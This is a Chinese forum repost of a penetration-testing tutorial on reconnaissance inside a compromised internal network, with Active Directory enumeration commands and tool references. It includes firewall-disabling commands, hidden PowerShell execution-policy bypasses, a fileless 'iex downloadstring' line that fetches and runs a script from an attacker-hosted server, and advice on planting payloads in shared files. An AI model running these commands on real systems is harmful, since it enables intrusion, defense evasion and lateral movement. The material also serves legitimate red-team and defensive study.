搜索

[21637] 2021-01-30_内网渗透之信息收集

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-01-30_内网渗透之信息收集 内 网 渗 透 之 信 息 收 集 转 自 安 全 鸭   L e m o n S e c   2 0 2 1 - 0 1 - 3 0 进 入 内 网 环 境 后 ， 对 网 络 拓 扑 一 无 所 知 ， 测 试 人 员 应 先 对 当 前 网 络 环 境 做 出 判 断 。 对 当 前 机 器 角 色 分 析 ， 对 机 器 所 处 网 络 环 境 拓 扑 结 构 分 析 ， 对 机 器 所 处 区 域 分 析 。 从 而 展 开 下 一 步 攻 击 。 对 机 器 所 处 网 络 环 境 分 析 对 机 器 所 处 网 络 环 境 分 析 对 所 处 内 网 进 行 全 面 数 据 收 集 和 分 析 整 理 ， 绘 制 出 大 致 的 内 网 整 体 结 构 拓 扑 。 对 机 器 所 处 区 域 分 析 对 机 器 所 处 区 域 分 析 判 断 机 器 所 处 于 网 络 拓 扑 哪 个 区 域 ， 是 在 D M Z 区 、 办 公 区 、 核 心 区 。 区 域 并 不 是 绝 对 的 ， 所 以 区 域 界 限 也 是 相 对 的 。 落 地 机 角 色 分 析 落 地 机 角 色 分 析 判 断 当 前 主 机 是 w e b 服 务 器 、 开 发 测 试 服 务 器 、 公 共 服 务 器 、 文 件 服 务 器 、 代 理 服 务 器 、 d n s 服 务 器 、 存 储 服 务 器 等 。 具 体 判 断 过 程 可 根 据 主 机 名 ， 文 件 内 容 ， 网 络 链 接 情 况 综 合 完 成 。 文 件 服 务 器 ： 配 合 社 工 ， 生 成 p a y l o a d 捆 绑 到 文 件 服 务 器 公 用 文 件 上 ， 可 批 量 上 线 主 机 D N S 服 务 器 ： 端 口 5 3 ， 可 通 过 D N S 服 务 器 获 取 内 网 w e b 系 统 信 息 ， 或 者 探 测 域 信 息 D H C P 服 务 器 ： 查 看 内 网 多 组 网 段 信 息 ， 更 多 的 获 取 拓 补 信 息 开 发 测 试 服 务 器 ： 获 取 源 码 ， 新 的 信 息 资 产 ， 多 存 在 弱 口 令 代 理 服 务 器 ： 获 取 服 务 器 账 号 ， 拿 到 各 种 密 码 w e b 服 务 器 ： 可 能 需 要 提 权 个 人 P C ： 查 看 是 否 存 在 域 环 境 一 、 落 地 机 信 息 收 集 一 、 落 地 机 信 息 收 集 本 机 信 息 收 集 包 括 操 作 系 统 、 权 限 、 内 网 I P 地 址 段 、 杀 软 、 端 口 、 服 务 、 补 丁 情 况 、 网 络 环 境 情 况 、 共 享 、 会 话 等 。 如 果 是 域 内 主 机 ， 那 么 操 作 系 统 、 应 用 软 件 、 补 丁 、 服 务 、 杀 软 一 般 都 是 批 量 安 装 的 。 内 网 网 段 信 息 收 集 内 网 网 段 信 息 收 集 只 有 找 到 不 同 网 段 才 能 进 行 纵 向 渗 透 ， 否 则 只 能 横 向 渗 透 1 . 端 口 扫 描 ： 用 s . e x e 工 具 进 行 扫 描 ， 例 如 渗 透 到 1 9 2 . 1 6 8 . 1 . 1 0 网 段 ， 可 能 存 在 1 9 2 . 1 6 8 . 2 . 0 / 3 . 0 网 段 等 。 只 扫 描 网 段 的
一 个 端 口 以 探 测 是 否 存 在 该 网 段 。 如 果 有 端 口 信 息 回 显 表 示 该 网 段 存 在 ， 可 以 进 行 深 入 探 测 。 常 见 端 口 ： w i n d o w s : 4 4 5 / l i n u x : 2 2 2 . 抓 包 分 析 网 络 流 量 ， 看 网 段 信 息 。 也 可 以 使 用 m e t e r p r e t e r 做 转 发 抓 取 目 标 所 在 网 络 流 量 3 . 渗 透 路 由 器 、 核 心 交 换 机 4 . 文 件 共 享 / F T P 连 接 记 录 、 浏 览 器 访 问 记 录 、 m s t s c 连 接 记 录 、 s s h 连 接 记 录 。 f t p 与 m s t s c 连 接 记 录 浏 览 器 访 问 记 录 x s h e l l 连 接 记 录 手 动 信 息 收 集 手 动 信 息 收 集 # 查 询 网 络 配 置 信 息 。 进 行 I P 地 址 段 信 息 收 集 i p c o n f i g   / a l l # 查 询 操 作 系 统 及 软 件 信 息 s y s t e m i n f o   |   f i n d s t r   / B   / C : " O S   N a m e "   / C : " O S   V e r s i o n "   #   英 文 系 统
s y s t e m i n f o   |   f i n d s t r   / B   / C : " O S   N a m e "   / C : " O S   V e r s i o n "   #   英 文 系 统 s y s t e m i n f o   |   f i n d s t r   / B   / C : " O S   名 称 "   / C : " O S   版 本 "   # 中 文 系 统 #   查 看 系 统 体 系 结 构 e c h o   % P R O C E S S O R _ A R C H I T E C T U R E %   # P o w e r S h e l l 收 集 软 件 的 版 本 信 息 p o w e r s h e l l   " G e t - W m i O b j e c t   - c l a s s   W i n 3 2 _ P r o d u c t   | S e l e c t - O b j e c t   - P r o p e r t y   n a m e ,   v e r s i o n "   # 查 看 当 前 权 限 w h o a m i   & &   w h o a m i   / p r i v # 查 询 本 机 服 务 信 息 w m i c   s e r v i c e   l i s t   b r i e f # 查 看 安 装 的 软 件 的 版 本 、 路 径 等 w m i c   p r o d u c t   g e t   n a m e ,   v e r s i o n   # 查 询 进 程 信 息 w m i c   p r o c e s s   l i s t   b r i e f # 查 看 启 动 程 序 信 息 w m i c   s t a r t u p   g e t   c o m m a n d , c a p t i o n   # 查 看 计 划 任 务 a t （ w i n 1 0 之 前 ） s c h t a s k s   / q u e r y   / f o   L I S T   / v （ w i n 1 0 ） # 查 看 主 机 开 机 时 间 n e t   s t a t i s t i c s   w o r k s t a t i o n # 查 看 本 机 用 户 列 表 n e t   u s e r   # 获 取 本 地 管 理 员 信 息 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   # # 查 看 当 前 在 线 用 户 q u e r y   u s e r   | |   q w i n s t a   # 列 出 或 断 开 本 地 计 算 机 与 所 连 接 的 客 户 端 的 对 话 n e t   s e s s i o n # 查 询 端 口 列 表 n e t s t a t   - a n o / - t n l p # 查 看 补 丁 列 表 s y s t e m i n f o   #   查 看 补 丁 的 名 称 、 描 述 、 I D 、 安 装 时 间 等 w m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n # 查 看 本 机 共 享 列 表 和 可 访 问 的 域 共 享 列 表 n e t   s h a r e   （ 4 4 5 端 口 ） # 查 找 共 享 列 表 w m i c   s h a r e   g e t   n a m e , p a t h , s t a t u s  
批 处 理 脚 本 自 动 化 信 息 收 集 。 为 了 简 化 手 动 信 息 收 集 的 繁 琐 步 骤 ， 我 们 可 用 使 用 自 动 化 脚 本 W M I C ( W i n d o w s 管 理 工 具 命 令 行 ) 脚 本 ， 脚 本 下 载 地 址 ， 执 行 该 脚 本 以 后 ， 会 将 信 息 收 集 的 结 果 写 入 H T M L 文 档 。 项 目 地 址 ： h t t p : / / w w w . f u z z y s e c u r i t y . c o m / s c r i p t s / f i l e s / w m i c _ i n f o . r a r 二 、 域 环 境 信 息 收 集 二 、 域 环 境 信 息 收 集 # 磁 盘 映 射 n e t   u s e   k : 1 9 2 . 1 6 8 . 1 . 1 0 c $ # 查 看 当 前 系 统 版 本 w m i c   O S   g e t   C a p t i o n , C S D V e r s i o n , O S A r c h i t e c t u r e , V e r s i o n # 查 询 路 由 表 r o u t e   p r i n t # 可 用 接 口 的 A R P 缓 存 表 。 局 域 网 内 a r p   - a ， 查 看 是 否 有 重 复 的 m a c 地 址 判 断 是 否 存 在 a r p 欺 骗 。 服 务 器 绑 定 m a c 地 址 方 式 防 止 a r p 欺 骗 a r p   - a 查 询 防 火 墙 相 关 配 置 # 关 闭 防 火 墙 ( W i n d o w s   S e r v e r   2 0 0 3   以 前 的 版 本 ) n e t s h   f i r e w a l l   s e t   o p m o d e   d i s a b l e   # 关 闭 防 火 墙 ( W i n d o w s   S e r v e r   2 0 0 3   以 后 的 版 本 ) n e t s h   a d v f i r e w a l l   s e t   a l l p r o f i l e s   s t a t e   o f f   # 查 看 防 火 墙 配 置 ( n e t s h 命 令 也 可 以 用 作 端 口 转 发 ) n e t s h   f i r e w a l l   s h o w   c o n f i g # 查 看 服 务 t a s k l i s t # 查 看 在 线 用 户 q u s e r # 查 看 远 程 连 接 信 息 c m d k e y   / l # 查 看 杀 软 W M I C   / N o d e : l o c a l h o s t   / N a m e s p a c e : r o o t S e c u r i t y C e n t e r 2   P a t h   A n t i V i r u s P r o d u c t   G e t   d i s p l a y N a m e   / F o r m a t : L i s t # 查 看 本 地 密 码 策 略 n e t   a c c o u n t s   # 查 看 h o s t s 文 件 ： l i n u x : c a t     / e t c / h o s t s w i n d o w s : t y p e     c : W i n d o w s s y s t e m 3 2 d r i v e r s e t c h o s t s # 查 看 d n s 缓 存 i p c o n f i g     / d i s p l a y d n s          
判 断 是 否 存 在 域 。 i p c o n f i g   / a l l   可 查 看 网 关 I P 地 址 、 D N S 的 I P 地 址 、 域 名 、 本 机 是 否 和 D N S 服 务 器 处 在 同 一 网 段 等 。 通 过 反 向 解 析 查 询 命 令 n s l o o k u p 来 解 析 域 名 的 I P 地 址 ， 用 解 析 到 的 I P 地 址 进 行 对 比 ， 判 断 域 控 服 务 器 和 D N S 服 务 器 是 否 在 同 一 台 机 器 上 。 # 查 看 当 前 权 限 w h o a m i   # 获 取 域 用 户 S I D w h o a m i   / a l l   # 查 询 指 定 用 户 的 详 情 信 息 n e t   u s e r   x x x   / d o m a i n   # 查 看 域 内 所 有 账 号 n e t   u s e r   / d o m a i n   # 对 比 查 看 " 域 ( 域 名 ) " 和 " 登 录 服 务 器 ( 域 控 制 器 ) " 的 信 息 是 否 匹 配 s y s t e m i n f o   # 对 比 查 看 " 工 作 站 域 D N S 名 称 ( 域 名 ) " 和 " 登 录 域 ( ) 域 控 制 器 " 的 信 息 是 否 相 匹 配 n e t   c o n f i g   w o r k s t a t i o n   # 查 看 时 间 可 以 找 到 域 控 n e t   t i m e   / d o m a i n # 查 看 域 密 码 策 略 n e t   a c c o u n t s   / d o m a i n   # 查 看 当 前 登 录 域         n e t   c o n f i g   w o r k s t a t i o n # 查 看 域 用 户 n e t   u s e r   / d o m a i n #   登 录 本 机 的 域 管 理 员 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   / d o m a i n # 获 取 域 控 i p p i n g   - a   x x x . c o m # 查 询 域 n e t   v i e w   / d o m a i n # 查 询 域 内 的 所 有 计 算 机   n e t   v i e w   / d o m a i n : H A C H E   # 查 询 域 的 所 有 组 （ e n t e r p r i s e   a d m i n s 组 权 限 最 大 ） n e t   g r o u p   / d o m a i n   # 查 看 域 管 理 员 的 用 户 组 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n # 查 询 域 系 统 管 理 员 用 户 组 n e t   g r o u p   " E n t e r p r i s e   a d m i n s "   / d o m a i n   # 查 看 域 控 制 器
1 . 域 间 信 任 关 系 可 传 递 ； 2 . 子 域 必 须 以 父 域 名 作 为 后 缀 ； 3 . D N S ( D o m a i n   N a m e   S e r v e r ) 用 于 域 名 及 I P 之 间 的 转 换 。 在 内 网 渗 透 时 寻 找 D N S 服 务 器 可 以 定 位 D C ( D N S 服 务 器 与 D C 通 常 就 是 一 台 主 机 ) 4 . 活 动 目 录 ( A c t i v e   D i r e c t o r y ) ， 在 域 中 提 供 目 录 服 务 的 组 件 5 . 子 域 域 控 D N S 服 务 器 要 写 主 域 的 d n s 三 、 探 测 内 网 存 活 主 机 三 、 探 测 内 网 存 活 主 机 1 . n b t s c a n 使 用 n b t s c a n 扫 描 本 地 或 远 程 T C P / I P 网 络 上 开 放 的 N e t B I O S 名 称 服 务 器 ， 使 用 方 法 ： n e t   g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n # 查 看 域 控 制 器 的 机 器 名 n l t e s t   / D C L I S T : h a c k e   # 查 看 d n s 缓 存 i p c o n f i g     / d i s p l a y d n s # 列 域 控 c 盘 文 件 ( 需 要 域 管 理 员 权 限 ) d i r   W I N - 7 5 N A 0 9 4 9 G F B . s a f e - d u c k . c o m c $ # 查 询 所 有 域 成 员 计 算 机 列 表 n e t   g r o u p   " d o m a i n   c o m p u t e r s "   / d o m a i n   # 获 取 域 信 任 信 息 n l t e s t   / d o m a i n _ t r u s t s   # 获 取 域 内 用 户 的 详 细 信 息 w m i c   u s e r a c c o u n t   g e t   / a l l   # 查 看 存 在 的 用 户 d s q u e r y   u s e r   # 查 询 所 有 计 算 机 名 称 d s q u e r y   c o m p u t e r # 攻 击 主 机 C M D 扫 描 同 网 段 存 活 i p f o r   / L   % P   i n   ( 1 , 1 , 2 5 4 )   D O   @ p i n g   ‐ w   1   ‐ n   1   1 9 2 . 1 6 8 . 1 . % P   |   f i n d s t r   " T T L   = " # 查 看 域 控 制 器 n e t   g r o u p   " d o m a i n c o n t r o l l e r s "   / d o m a i n n b t s c a n . e x e   1 9 2 . 1 6 8 . 1 . 1 / 2 0
输 出 的 结 果 第 一 列 为 I P 地 址 ， 第 二 列 为 机 器 名 和 所 在 域 的 名 称 ， 第 三 列 即 最 后 一 列 为 及 其 所 开 启 的 服 务 的 列 表 。 2 . 使 用 I C M P 协 议 快 速 探 测 内 网 3 . a r p - s c a n 工 具 ， 使 用 方 法 ： 4 . E m p i r e 的 a r p s c a n 模 块 5 . N i s h a n g 中 的 I n v o k e - A R P S c a n . p s 1 脚 本 6 . s . e x e 网 段 单 个 端 口 探 测 主 机 存 活 四 、 域 内 端 口 探 测 四 、 域 内 端 口 探 测 在 内 网 主 机 存 活 探 测 完 成 之 后 ， 对 探 测 到 的 资 产 进 行 整 理 ， 然 后 端 口 扫 描 。 注 意 端 口 b a n n e r 信 息 ， 注 意 探 测 端 口 触 发 防 御 系 统 1 . 端 口 扫 描 工 具 ： 端 口 扫 描 工 具 ： s . e x e a r p - s c a n   - - i n t e r f a c e = e t h 0   - - l o c a l n e t s . e x e   t c p   1 9 2 . 1 6 8 . 1 . 1   1 9 2 . 1 6 8 . 1 . 2 5 4   2 1 , 8 0 , 3 3 8 9 , 4 4 5   1 0
2 . t e l n e t 命 令 单 个 主 机 单 个 端 口 探 测 3 . M e t a t s p l o i t 框 架 下 " s e a r c h   p o r t s c a n " 4 . P o w e r S p l o i t 的 I n v o k e - A R P S c a n . p s 1 脚 本 5 . N i s h a n g 中 的 I n v o k e - P o r t S c a n 模 块 五 、 五 、 M S F 信 息 收 集 信 息 收 集 M S F 建 立 会 话 拿 到 s h e l l ， 即 可 直 接 执 行 D O S 命 令 至 今 进 行 信 息 收 集 。 也 可 以 进 行 直 接 执 行 r u n   w i n e n u m 可 以 一 键 收 集 记 录 。 查 看 报 告 ： 六 、 六 、 p o w e r s h e l l   信 息 收 集 信 息 收 集 默 认 p o w e r s h e l l 是 不 能 执 行 脚 本 的 ， 获 取 脚 本 策 略 之 后 才 能 使 用 ： 更 改 执 行 策 略 必 须 以 管 理 员 身 份 执 行 才 可 以 ， 否 则 报 错 注 册 表 安 全 问 题 r u n   w i n e n u m g e t - e x e c u t i o n p o l i c y s e t - e x e c u t i o n p o l i c y   u n r e s t r i c t e d # e x e c   b y p a s s 绕 过 脚 本 # 绕 过 安 全 策 略 直 行 脚 本 p o w e r s h e l l . e x e   - E x e c u t i o n p o l i c y   B Y p a s s   - f i l e   1 2 3 . p s 1      
1 . P o w e r S p l o i t         P o w e r S p l o i t 是 P o w e r S h e l l 模 块 的 集 合 ， k a l i 自 带 ， 输 入 p o w e r s p l o i t 即 可 。 项 目 地 址 ： h t t p s : / / g i t h u b . c o m / P o w e r S h e l l M a f i a / P o w e r S p l o i t 建 立 会 话 后 的 建 立 会 话 后 的 m e t e r p r e t e r ： ： p o w e r s h e l l . e x e   - E x e c u t i o n p o l i c y   B Y p a s s   - f i l e   1 2 3 . p s 1       # 本 地 隐 藏 绕 过 权 限 直 行 脚 本 p o w e r s h e l l . e x e   - E x e c u t i o n p o l i c y   B Y p a s s     - w i n d o w s t y l e   h i d d e n   - n o l o g o   - n o n l n t e r a c t i v e   - n o p r o f i l e   - f i l e   1 2 3 . p s 1     # c m d 下 使 用 p o w e r s h e l l p o w e r s h e l l   - e x e c   b y p a s s   " i m p o r t - m o d u l e   c : p o w e r s h e l l . p s 1 ; G e t - N e t U s e r " # 加 载 模 块 l o a d   p o w e r s h e l l # 调 用 本 地 p s 脚 本 p o w e r s h e l l _ i m p o r t   / u s r / s h a r e / w i n d o w s - r e s o u r c e s / p o w e r s p l o i t / R e c o n / x x . p s 1 # 命 令 执 行 p o w e r s h e l l _ e x e c u t e     G e t - N e t D o m a i n   # 获 取 当 前 的 域 名 称 G e t - N e t D o m a i n     # 返 回 所 有 域 内 成 员 的 详 细 信 息 G e t - N e t u s e r   # 获 取 所 有 的 域 内 的 控 制 器 信 息 G e t - N e t D o m a i n C o n t r o l l e r   # 获 取 所 有 域 内 机 器 的 名 称 G e t - N e t C o m p u t e r     # 获 取 域 内 的 所 有 的 网 络 共 享 G e t - N e t s h a r e # 获 取 指 定 服 务 的 远 程 连 接 信 息     G e t - N e t R D P S E S S I O N     # 获 取 进 程 的 详 细 信 息 G e t - N e t P r o c e s s     #   获 取 活 动 目 录 的 信 息
p o w e r s p l o i t 无 文 件 攻 击 无 文 件 攻 击 将 p o w e r s p l o i t 文 件 放 在 v p s 上 面 。 确 保 目 标 服 务 器 可 以 访 问 ： 在 目 标 机 导 入 脚 本 ： 执 行 命 令 ： #   获 取 活 动 目 录 的 信 息 G e t - A D O P J E C T   # 判 断 用 户 是 否 登 陆 计 算 机 且 用 户 是 否 有 管 理 员 权 限 i n v o k e - p r o c e s s h u n t e r i e x ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( " h t t p : / / 1 9 2 . 1 6 8 . 1 . 4 / P o w e r S p l o i t / R e c o n / I n v o k e - P o r t s c a n . p s 1 " ) # 扫 描 网 段 、 端 口 i n v o k e - p o r t s c a n   - h o s t s   1 9 2 . 1 6 8 . 1 . 1 / 2 4   - p o r t s   " 2 1 , 2 2 , 8 0 , 1 3 9 , 8 0 , 4 4 5 "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理